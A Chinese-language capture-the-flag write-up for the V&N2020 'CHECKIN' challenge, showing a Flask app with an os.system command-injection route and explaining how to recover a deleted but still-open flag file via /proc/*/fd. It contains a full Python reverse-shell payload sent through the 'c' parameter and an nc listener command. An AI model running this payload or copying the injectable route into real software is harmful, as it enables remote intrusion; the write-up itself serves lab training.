[V&N2020 公开赛]CHECKIN

将python整理一下

from flask import Flask, request
import os

app = Flask(__name__)
flag_file = open("flag.txt", "r")
#flag = flag_file.read()
#flag_file.close()
#@app.route('/flag')
#def flag():
#    return flag
## want flag? naive!
#You will never find the thing you want:) I think

@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1" \


@app.route('/')
def source():
    return open("app.py","r").read()


if __name__ == "__main__":
    app.run(host='0.0.0.0')

可以发现进到shell这个目录下,会删除flag.txt这个文件,同时传入get请求c时虽然可以命令执行,但是不会有回显。。。。。
看了web
知识点
在linux里如果打开了一个文件而没有关闭,就算删除了文件(即rm -f flag.txt)在/proc/[pid]/fd下还是会存在,所以我们还是可以看flag,txt的
这也是为什么会注释掉那些代码的原因(以后还是别乱动源码…)

由于命令执行没有回显,我们可以弹shell,这个是python写的

在BUU上由于是弹shell得先在内网开启linux靶机服务
先确定自己靶机的ip地址,再输入ip地址和端口(端口随便填)

传入paylaod之前
先监听你设置的端口
nc -lvp 端口

payload

shell?c=python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

传入后就可以命令执行了
在这里插入图片描述

查看/proc/[pid[/fd 里的文件
由于有很多[pid]我们可以直接用*来代替,省的一步一步去找
指令

cat /proc/*/fd/*

即可查到flag.txt

你可能感兴趣的:([V&N2020 公开赛]CHECKIN)